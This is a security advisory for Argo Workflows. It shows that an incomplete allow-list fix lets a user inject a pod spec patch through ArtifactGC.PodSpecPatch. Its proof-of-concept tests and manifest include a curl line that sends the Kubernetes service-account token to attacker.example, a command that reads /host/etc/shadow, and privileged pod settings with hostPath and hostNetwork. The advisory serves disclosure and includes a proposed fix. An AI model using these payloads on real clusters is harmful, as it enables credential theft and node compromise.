Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale }

func ValidateUserOverrides(userSpec wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... }

The allow-listed type - pkg/apis/workflow/v1alpha1/workflowtypes.go:1207-1217:

go type WorkflowLevelArtifactGC struct { ArtifactGC json:",inline" ForceFinalizerRemoval bool json:"forceFinalizerRemoval,omitempty" PodSpecPatch string json:"podSpecPatch,omitempty" // <-- sink input }

The sink - workflow/controller/artifactgc.go:731-740 reads the user-controlled value:

go func (woc wfOperationCtx) getArtifactGCPodInfo(artifact wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... }

And workflow/controller/artifactgc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = patchedPodSpec }

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifactgc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifactgc.go:79 HasArtifactGC iterates execWf.Spec.Templates[].Outputs.Artifacts[] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflowtypes.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.PodSpecPatch" --include=".go" workflow/validate/ (no output)

The merge-package test file added with the fix (workflow/util/mergetest.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/mergeartifactgcpoctest.go:

go package util

import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" )

func TestPoCArtifactGCPodSpecPatchPassesAllowList(t testing.T) { attackerPatch := {"containers":[{"name":"main","image":"attacker/evil:latest", + "command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}], + "hostNetwork":true} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, }

// Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec))

// Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) }

poc/artgcsinkpoctest.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

go func TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t testing.T) { attackerPatch := containers: - name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYSADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: - name: hostroot hostPath: {path: /} userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec)

// Baseline built exactly like workflow/controller/artifactgc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ / AutomountSAToken=true, MinimalCtrSC, limits, etc. / }

patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err)

assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) }

Run:

go test -v -run "TestPoCArtifactGC" ./workflow/util/

Captured output:

=== RUN TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch --- PASS: TestPoCArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s) === RUN TestPoCArtifactGCPodSpecPatchPassesAllowList --- PASS: TestPoCArtifactGCPodSpecPatchPassesAllowList (0.00s) PASS ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s

End-to-end Workflow manifest (for a live cluster reproduction by maintainers):

yaml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: {name: safe-template} spec: entrypoint: main templates: - name: main container: {image: argoexec:latest, command: [echo, hello]} outputs: artifacts: - {name: artifact, path: /tmp/artifact} --- apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: {generateName: bypass-} spec: workflowTemplateRef: {name: safe-template} artifactGC: strategy: OnWorkflowCompletion podSpecPatch: | containers: - name: main image: attacker/evil:latest command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"] hostNetwork: true volumes: - name: hostroot hostPath: {path: /}

Controller config for the test cluster:

yaml workflowRestrictions: templateReferencing: Strict

With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.

Impact

Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:

- run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYSADMIN], - mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).

This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.

A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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